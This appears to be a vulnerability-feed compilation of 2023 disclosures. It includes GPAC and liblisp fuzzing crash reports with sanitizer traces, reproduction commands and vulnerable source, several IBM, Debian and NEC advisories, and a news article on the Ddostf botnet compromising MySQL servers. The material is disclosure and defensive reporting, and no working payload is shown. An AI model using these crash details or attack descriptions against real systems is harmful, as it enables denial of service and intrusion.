GPAC 2.3-DEV-rev617-g671976fcc-master is vulnerable to memory leak in gf_mpd_parse_string media_tools/mpd.c:75.

1.Version  
./MP4Box -version  
MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master  
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io/

Please cite our work in your research:  
GPAC Filters: https://doi.org/10.1145/3339825.3394929  
GPAC: https://doi.org/10.1145/1291233.1291452

GPAC Configuration:  
Features: GPAC\_CONFIG\_LINUX GPAC\_64\_BITS GPAC\_HAS\_IPV6 GPAC\_HAS\_SSL GPAC\_HAS\_SOCK\_UN GPAC\_MINIMAL\_ODF GPAC\_HAS\_QJS GPAC\_HAS\_JPEG GPAC\_HAS\_PNG GPAC\_HAS\_LINUX\_DVB GPAC\_DISABLE\_3D

2.ASAN  
\[DASH\] Updated manifest:  
P#1: start 0 - duration 0 - xlink none  
\[DASH\] Manifest after update:  
P#1: start 0 - duration 0 - xlink none  
\[DASH\] Setting up period start 0 duration 0 xlink none ID DID1  
\[DASH\] AS#1 changed quality to bitrate 10 kbps - Width 1280 Height 720 FPS 30/1 (playback speed 1)  
\[DASH\] AS#2 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] Segment duration unknown - cannot estimate current startNumber  
\[DASH\] Cannot try to download (null)... out of memory ?  
\[DASH\] AS#3 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)  
\[DASH\] AS#4 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)  
\[DASH\] AS#5 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1)  
\[DASH\] Adaptation 16: non-video in a video group - disabling it  
\[DASH\] AS#6 changed quality to bitrate 31 kbps (playback speed 1)  
\[DASH\] AS#6 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)  
\[DASH\] AS#7 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)  
\[DASH\] AS#8 changed quality to bitrate 120 kbps - Width 384 Height 208 FPS 30/1 (playback speed 1)  
\[DASH\] AS#9 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1)  
\[DASH\] AS#10 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] Segment duration unknown - cannot estimate current startNumber  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASH\] No ROUTE entity on HTTP request  
\[DASH\] AST at init 1621274304781  
\[DASH\] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)  
\[DASHDmx\] group 0 error locating plugin for segment - mime type video/mp4 name crashes/live\_dash\_track1\_init.mp4: Requested URL is not valid or cannot be found  
Filters not connected:  
fout (dst=id\_000070,sig\_06,src\_000600,time\_26661155,execs\_144902,op\_havoc,rep\_1\_dash.mpd:gpac:segdur=10000/1000:profile=full:!sap:buf=1500:!check\_dur:pssh=v:subs\_sidx=0) (idx=1)

Arg segdur set but not used  
Arg profile set but not used  
Arg !sap set but not used  
Arg buf set but not used  
Arg !check\_dur set but not used  
Arg pssh set but not used  
Arg subs\_sidx set but not used

\=================================================================  
\==2943152==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 20 byte(s) in 2 object(s) allocated from:  
#0 0x7fb5f41339a7 in \_\_interceptor\_strdup ../../../../src/libsanitizer/asan/asan\_interceptors.cpp:454  
#1 0x7fb5f2fd4bbc in gf\_mpd\_parse\_string media\_tools/mpd.c:75  
#2 0x7fb5f2fd4bbc in gf\_mpd\_parse\_common\_representation\_attr media\_tools/mpd.c:665

SUMMARY: AddressSanitizer: 20 byte(s) leaked in 2 allocation(s).

3.Reproduction  
./MP4Box -dash 10000 $poc

4.POC file  
crash.zip

5.Impact  
Malicious files that are opened may cause a crash

6.Credit  
LOVERJIE

CVE-2023-48039: memory leaks in gf_mpd_parse_string media_tools/mpd.c:75 · Issue #2679 · gpac/gpac

GPAC 2.3-DEV-rev617-g671976fcc-master is vulnerable to memory leaks in extract_attributes media_tools/m3u8.c:329.

1.Version  
./MP4Box -version  
MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master  
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io/

Please cite our work in your research:  
GPAC Filters: https://doi.org/10.1145/3339825.3394929  
GPAC: https://doi.org/10.1145/1291233.1291452

GPAC Configuration:  
Features: GPAC\_CONFIG\_LINUX GPAC\_64\_BITS GPAC\_HAS\_IPV6 GPAC\_HAS\_SSL GPAC\_HAS\_SOCK\_UN GPAC\_MINIMAL\_ODF GPAC\_HAS\_QJS GPAC\_HAS\_JPEG GPAC\_HAS\_PNG GPAC\_HAS\_LINUX\_DVB GPAC\_DISABLE\_3D

2.ASAN  
\[M3U8\] Unsupported directive #EXT-X-VERSION:  
\[M3U8\] Attribute SEQUENCE:1 not supported  
\[M3U8\] Invalid #EXT-X-MEDIA: TYPE is missing. Ignoring the line.  
\[M3U8\] Invalid URI (URI=") in EXT-X-MAP  
\[M3U8\] Failed to parse root playlist './crashes/crash4', error = BitStream Not Compliant  
\[DASH\] Error - cannot connect service: MPD creation problem BitStream Not Compliant  
\[DASHDmx\] Error - cannot initialize DASH Client for ./crashes/crash4: BitStream Not Compliant  
Failed to connect filter fin PID crash4 to filter dashin: BitStream Not Compliant  
Blacklisting dashin as output from fin and retrying connections  
Failed to find any filter for URL ./crashes/crash4, disabling destination filter fout  
Filter fin failed to setup: Filter not found for the desired type  
Filters not connected:  
fout (dst=crash4\_dash.mpd:gpac:segdur=500000/1000:profile=full:!sap:buf=1500:!check\_dur:pssh=v:subs\_sidx=0) (idx=1)  
Arg segdur set but not used  
Arg profile set but not used  
Arg !sap set but not used  
Arg buf set but not used  
Arg !check\_dur set but not used  
Arg pssh set but not used  
Arg subs\_sidx set but not used  
Error DASHing file: Filter not found for the desired type

\=================================================================  
\==150880==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 120 byte(s) in 1 object(s) allocated from:  
#0 0x7f7fcaf3ca57 in \_\_interceptor\_calloc ../../../../src/libsanitizer/asan/asan\_malloc\_linux.cpp:154  
#1 0x7f7fc9d73286 in extract\_attributes media\_tools/m3u8.c:329

Indirect leak of 11 byte(s) in 1 object(s) allocated from:  
#0 0x7f7fcaf3ca57 in \_\_interceptor\_calloc ../../../../src/libsanitizer/asan/asan\_malloc\_linux.cpp:154  
#1 0x7f7fc9d7385b in extract\_attributes media\_tools/m3u8.c:345

SUMMARY: AddressSanitizer: 131 byte(s) leaked in 2 allocation(s)..

3.Reproduction  
./MP4Box -dash 500000 $poc

4.POC file  
crash.00.zip

5.Impact  
Memory leaks can cause program performance degradation, system crashes, or unpredictable behavior

6.  Credit  
    jarront

CVE-2023-48090: memory leaks in extract_attributes media_tools/m3u8.c:329 · Issue #2680 · gpac/gpac

IBM CICS TX Advanced 10.1 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.  IBM X-Force ID:  260770.

  

**Summary**

"Weak or Unsupported ciphers" vulnerability may affect IBM CICS TX Advanced 10.1. IBM CICS TX Advanced has addressed the applicable vulnerability.

**Vulnerability Details**

**CVEID:**   CVE-2023-38361  
**DESCRIPTION:**   IBM CICS TX Advanced uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.  
CVSS Base score: 5.9  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/260770 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

**Affected Products and Versions**

**Affected Product(s)**

**Version(s)**

IBM CICS TX Advanced

10.1

**Remediation/Fixes**

**Product**

**Version**

**Platform**

**Remediation / Fix**

IBM CICS TX Advanced

10.1

Linux

Fix Central link

**Workarounds and Mitigations**

None

**References**

Off

**Acknowledgement**

**Change History**

03 Nov 2023: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU058","label":"IBM Infrastructure w\\/TPS"},"Product":{"code":"SSZ5810","label":"CICS TX"},"Component":"","Platform":\[{"code":"PF016","label":"Linux"}\],"Version":"10.1","Edition":"","Line of Business":{"code":"LOB35","label":"Mainframe SW"}}\]

CVE-2023-38361: Security Bulletin: "Weak or Unsupported ciphers" vulnerability may affect IBM CICS TX Advanced 10.1

IBM InfoSphere Information Server 11.7 could allow an authenticated user to change installation files due to incorrect file permission settings.  IBM X-Force ID:  263332.

  

**Summary**

An improper access control vulnerablity in InfoSphere Information Server was addressed.

**Vulnerability Details**

**CVEID:**   CVE-2023-40363  
**DESCRIPTION:**   InfoSphere Information Server could allow an authenticated user to change installation files due to incorrect file permission settings.  
CVSS Base score: 8.1  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/263332 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)

**Affected Products and Versions**

Affected Product(s)

Version(s)

InfoSphere Information Server

11.7

**Remediation/Fixes**

**Workarounds and Mitigations**

None

**References**

Off

**Acknowledgement**

**Change History**

16 Nov 2023: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU059","label":"IBM Software w\\/o TPS"},"Product":{"code":"SSZJPZ","label":"IBM InfoSphere Information Server"},"Component":"","Platform":\[{"code":"PF033","label":"Windows"},{"code":"PF002","label":"AIX"},{"code":"PF016","label":"Linux"}\],"Version":"11.7","Edition":"","Line of Business":{"code":"LOB10","label":"Data and AI"}}\]

CVE-2023-40363: Security Bulletin: InfoSphere Information Server is vulnerable due to improper access control (CVE-2023-40363)

Liblisp through commit 4c65969 was discovered to contain a use-after-free vulnerability in void hash_destroy(hash_table_t *h) at hash.c

**Overview**

Hi there @howerj! I love the library and per usual I ran my fuzz tests in the background and found just a couple of memory corruption bugs in liblisp through 4c65969. I have included all of the files necessary for reproducing each bug. If I get some time I'll work on submitting a pull request.

*   Use-after-free in void hash\_destroy(hash\_table\_t \*h) at hash.c, lines 70-84.
*   Out-of-bounds read in unsigned get\_length(lisp\_cell\_t \* x) at eval.c, line 272.

**Use-after-free**

There exist a use-after-free bug in void hash\_destroy(hash\_table\_t \*h) at hash.c, lines 70-84. I believe a potential fix for this would be to set the pointer 'hash\_table\_t \*h' to null after passing it to 'free'.

**Source Code**

void hash\_destroy(hash\_table\_t \* h) {

if (!h)

return;

for (size\_t i \= 0; i < h\->len; i++)

if (h\->table\[i\]) {

hash\_entry\_t \*prev \= NULL;

for (hash\_entry\_t \*cur \= h\->table\[i\]; cur; prev \= cur, cur \= cur\->next) {

h\->free\_key(cur\->key);

h\->free\_val(cur\->val);

free(prev);

}

free(prev);

}

free(h\->table);

free(h);

}

**File for reproduction**

uaf-liblisp.zip

**Address Sanitizer Output**

    =================================================================
    ==134443==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000006a8 at pc 0x7f9da3ee019b bp 0x7ffce0e7abe0 sp 0x7ffce0e7abd8
    READ of size 8 at 0x6080000006a8 thread T0
        #0 0x7f9da3ee019a in hash_destroy src/hash.c:73
        #1 0x7f9da3ee019a in hash_destroy src/hash.c:70
        #2 0x7f9da3edf78f in gc_free src/gc.c:50
        #3 0x7f9da3edf78f in lisp_gc_sweep_only src/gc.c:124
        #4 0x7f9da3ee4011 in lisp_destroy src/lisp.c:80
        #5 0x7f9da3ee871e in main_lisp_env src/repl.c:236
        #6 0x7f9da36456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
        #7 0x7f9da3645784 in __libc_start_main_impl ../csu/libc-start.c:360
        #8 0x5615bae755b0 in _start (/home/kali/projects/fuzzing/liblisp/lisp+0x25b0) (BuildId: 0827e7ee54f24ed60d4875e0b6fa13ce80a7782b)
    
    0x6080000006a8 is located 8 bytes inside of 96-byte region [0x6080000006a0,0x608000000700)
    freed by thread T0 here:
        #0 0x7f9da38d7298 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
        #1 0x7f9da3ee750e in read_hash src/read.c:211
        #2 0x7f9da3ee750e in reader src/read.c:279
    
    previously allocated by thread T0 here:
        #0 0x7f9da38d7fa7 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
        #1 0x7f9da3edfe97 in hash_create_custom src/hash.c:57
    
    SUMMARY: AddressSanitizer: heap-use-after-free src/hash.c:73 in hash_destroy
    Shadow bytes around the buggy address:
      0x608000000400: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 07 fa
      0x608000000480: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
      0x608000000500: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 07 fa
      0x608000000580: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 07 fa
      0x608000000600: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 07 fa
    =>0x608000000680: fa fa fa fa fd[fd]fd fd fd fd fd fd fd fd fd fd
      0x608000000700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
      0x608000000780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x608000000800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x608000000880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x608000000900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==134443==ABORTING
    

**Out-of-bounds Read**

There exist an out-of-bounds read in unsigned get\_length(lisp\_cell\_t \* x) at eval.c, line 272. The OOB read comes from the statement 'return (uintptr\_t)(x->p\[1\].v);' when processing a malformed symbol. A potential fix for this would be to add check ensuring 'x->p\[1\].v' is within the bounds of the array.

**Source Code**

case SYMBOL:

return (uintptr\_t)(x\->p\[1\].v);

**File for reproduction**

oob-read-liblisp.zip

**Address Sanitizer Output**

    =================================================================
    ==134237==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f76159f9430 at pc 0x7f76159c98d4 bp 0x7ffe27551db0 sp 0x7ffe27551da8
    READ of size 8 at 0x7f76159f9430 thread T0
        #0 0x7f76159c98d3 in get_length src/eval.c:272
        #1 0x7f76159c98d3 in get_length src/eval.c:264
        #2 0x7f76159d6abf in subr_greater src/subr.c:325
        #3 0x7f76159cbecc in eval src/eval.c:707
        #4 0x7f76159d4c85 in lisp_repl src/repl.c:149
        #5 0x7f76159d4fb8 in main_lisp_env src/repl.c:212
        #6 0x7f76157f66c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
        #7 0x7f76157f6784 in __libc_start_main_impl ../csu/libc-start.c:360
        #8 0x563c29c2b5b0 in _start (/home/kali/projects/fuzzing/liblisp/lisp+0x25b0) (BuildId: 0827e7ee54f24ed60d4875e0b6fa13ce80a7782b)
    
    0x7f76159f9430 is located 48 bytes before global variable '_nil' defined in 'src/subr.c:137:1' (0x7f76159f9460) of size 16
    0x7f76159f9430 is located 0 bytes after global variable '_tee' defined in 'src/subr.c:137:1' (0x7f76159f9420) of size 16
    SUMMARY: AddressSanitizer: global-buffer-overflow src/eval.c:272 in get_length
    Shadow bytes around the buggy address:
      0x7f76159f9180: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
      0x7f76159f9200: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
      0x7f76159f9280: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
      0x7f76159f9300: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
      0x7f76159f9380: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
    =>0x7f76159f9400: f9 f9 f9 f9 00 00[f9]f9 f9 f9 f9 f9 00 00 f9 f9
      0x7f76159f9480: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f76159f9500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f76159f9580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f76159f9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f76159f9680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==134237==ABORTING
    =================================================================
    

Thank you!  
@Halcy0nic

CVE-2023-48024: Memory Corruption Bugs in Liblisp through commit 4c65969  · Issue #1 · howerj/liblisp

Debian Linux Security Advisory 5557-1 - WebKitGTK has vulnerabilities. Junsung Lee discovered that processing web content may lead to a denial-of-service. An anonymous researcher discovered that processing web content may lead to arbitrary code execution.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5557-1                   security@debian.org  
https://www.debian.org/security/                           Alberto Garcia  
November 17, 2023                     https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : webkit2gtk  
CVE ID         : CVE-2023-41983 CVE-2023-42852

The following vulnerabilities have been discovered in the WebKitGTK  
web engine:

CVE-2023-41983

    Junsung Lee discovered that processing web content may lead to a  
    denial-of-service.

CVE-2023-42852

    An anonymous researcher discovered that processing web content may  
    lead to arbitrary code execution.

For the oldstable distribution (bullseye), these problems have been fixed  
in version 2.42.2-1~deb11u1.

For the stable distribution (bookworm), these problems have been fixed in  
version 2.42.2-1~deb12u1.

We recommend that you upgrade your webkit2gtk packages.

For the detailed security status of webkit2gtk please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/webkit2gtk

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEYrwugQBKzlHMYFizAAyEYu0C2AIFAmVWsEgACgkQAAyEYu0C  
2ALSaxAAlUplCgENdVCJvbf2cRhZiJeQvEm71xLR972uesvSaBr+NsQacz+lv6qU  
3U8iq4ulY8Y4o8rv3TbIrxF+WvMWYq8U7a8vqrY66W++u4//L5INYvuIxaNwoonV  
+r30K0tJ2exsbTdQVCSHe2dB8aOf1qLWJHpwgnYuSIZRS1rBxSrxTUuJizZsUXi5  
Y4l4KRdGIuv/e+kIkxKDCxeFHI3bmHJEZiDnNG8ohVSxmWPqjNFh9ZBYcFynVoFr  
hrqc076Py5ok4AYLgnH2rW8/33NCsh08IINqRovR6cSkOLL9KZFSeKWAKZunbrjb  
Ptp3wZSANh5pYBl7cbxXvam+gakgkkZg9hNoe+RJjRBwEUylURODK6+dBNXbO1mr  
JQqajMyXnUWT8JakalV0Ioi6KKQR6Qpp7OGTdoLlrnh1oXAjrbDTtwk6Zn2LEWwr  
THCH4roBbVKPXG0LJRGntWnt/qRVMjnmmCY1xOzs/Y+5tuR0ChtlZueGrL1t9kSQ  
EVMU7MZ3jBz0l0ZkzWFMXzSNXQK6m0Vef1vS9JZkNyc+sBmtrDQfJu+qf17z1RUz  
56FuYfVi4f+P+IxyLnh5MTssR8QjLR1WCVZBiTyfIyNtl6oOCFJ9UTrQC8QnycD6  
tHJfHHwwAp5HucG6zaJHZ3KV4BOuL6bNV0SChvlCc13dnTyyGv4=  
=zn+t  
-----END PGP SIGNATURE-----

Debian Security Advisory 5557-1

By Deeba Ahmed
The Ddostf Botnet was initially identified in 2016.
This is a post from HackRead.com Read the original post: Ddostf Botnet Resurfaces in DDoS Attacks Against MySQL and Docker Hosts

Researchers claim that the Chinese Ddostf botnet is specifically designed for launching DDoS attacks and that the threat actors are operating a DDoS-for-hire service.

AhnLab Security Emergency Response Center (ASEC) researchers have shared alarming **details** of a new campaign targeting MySQL servers and Docker hosts with DDoS malware.

AhnLab noted that attacks targeting MySQL servers on Windows systems have increased sharply, and vulnerable servers are infected with the Chinese botnet Ddostf, **discovered** in 2016.

Researchers claim that this malware is specifically designed for launching DDoS attacks and that the threat actor is operating a **DDoS-for-hire service**.

According to the AESC blog post, threat actors scan for exploitable MySQL servers. After compromising the servers, threat actors install the Ddostf DDoS botnet to launch distributed denial-of-service (DDoS) attacks against other servers.

**MySQL servers** are a common target in such campaigns because of their widespread use in Windows and Linux environments. Although MS-SQL is a preferred database service for Windows users, MySQL servers are also commonly used on Windows, which makes the systems running them a prime target for cybercriminals.

Based on data from AhnLab’s Smart Defense (ASD) logs, most malware targeting vulnerable MySQL servers were **Gh0st RAT** variants, but instances of **AsyncRAT** were also observed and recently, there’s been an uptick in the use of the Ddostf botnet.

Ddostf is a powerful malware that copies itself with a random name in the %SystemRoot% directory and registers as a service before decrypting the encrypted C2 server URL string to connect to the attackers’ server. It can collect system data and transfer it to the C2 server. Then it waits for specific commands (e.g., SYN, UDP, and HTTP GET/POST floods) to launch the **DDoS attacks**.

The botnet is unique because it can connect to a new address from the C2 server and execute commands there for a limited time. This helps the Ddostf botnet operator to infect multiple systems and sell DDoS attacks as a service. Ddostf can target Linux and Windows systems because of supports both ELF and PE formats and can achieve persistence. 

Attackers first scan for publicly accessible systems using port 3306/TCP and after accessing the server (those with known vulnerabilities or weak credentials), they use brute-force or dictionary attacks on the system.

If the system has signs of poor credential management, attackers can gain access to administrator account credentials. If the system runs an **unpatched version with vulnerabilities**, attackers can exploit them to execute commands without needing these processes. Unlike MS-SQL, which entails direct OS command execution methods, MySQL relies on UDFs (User-Defined Functions) that can allow threat actors to execute commands.

They can also install malicious UDF DLLS on infected MySQL servers and execute commands. Like CLR Stored Procedure WebShell work, these DLLs can provide threat actors complete control of the infected system. In the case of the Ddostf DDoS bot, attackers use the UDF malware as a tool to install it on poorly managed MySQL servers.

Database servers get frequently targeted because of poorly managed account credentials. Administrators must use strong passwords apart from applying the latest patches to protect their servers. Firewalls can be used to restrict access to external actors, and a DDoS mitigation service can help protect against **large-scale attacks**.

****_RELATED ARTICLES_****

1.  **Who Killed the Mozi IoT Zombie Botnet – India or China?**
2.  **Chinese APT Posing as Cloud Services to Spy on Cambodia**
3.  **Dark.IoT & Custom Botnets Exploit Zyxel Flaw in DDoS Attacks**
4.  **How Chinese Hackers Stole Signing Key to Breach Outlook Accounts**
5.  **Chinese Scammers Exploit Cloned Websites in Vast Gambling Network**

Ddostf Botnet Resurfaces in DDoS Attacks Against MySQL and Docker Hosts

CLUSTERPRO X Ver5.1 and earlier and EXPRESSCLUSTER X 5.1 and earlier, CLUSTERPRO X SingleServerSafe 5.0 and earlier, EXPRESSCLUSTER X SingleServerSafe 5.0 and earlier allows a attacker to log in to the product may execute an arbitrary command.



**Multiple vulnerabilities in EXPRESSCLUSTER X**

Number:NV23-009  
CVE:CVE-2023-39544, CVE-2023-39545, CVE-2023-39546, CVE-2023-39547, CVE-2023-39548

**Overview**

EXPRESSCLUSTER X WebManager/Cluster WebUI contains multiple vulnerabilities.

Missing Authorization(CVE-2023-39544)  
Files or Directories Accessible to External Parties(CVE-2023-39545)  
Authentication Bypass(CVE-2023-39546)  
Improper Authentication(CVE-2023-39547)  
Unrestricted Upload of File with Dangerous Type(CVE-2023-39548)

**Products Affected**

**EXPRESSCLUSTER X**

**Affected Version**

EXPRESSCLUSTER X 1.0 for Windows  
EXPRESSCLUSTER X 2.0 for Windows  
EXPRESSCLUSTER X 2.1 for Windows  
EXPRESSCLUSTER X 3.0 for Windows  
EXPRESSCLUSTER X 3.1 for Windows  
EXPRESSCLUSTER X 3.2 for Windows  
EXPRESSCLUSTER X 3.3 for Windows  
EXPRESSCLUSTER X 4.0 for Windows  
EXPRESSCLUSTER X 4.1 for Windows  
EXPRESSCLUSTER X 4.2 for Windows  
EXPRESSCLUSTER X 4.3 for Windows  
EXPRESSCLUSTER X 5.0 for Windows

EXPRESSCLUSTER X SingleServerSafe 1.0 for Windows  
EXPRESSCLUSTER X SingleServerSafe 2.0 for Windows  
EXPRESSCLUSTER X SingleServerSafe 2.1 for Windows  
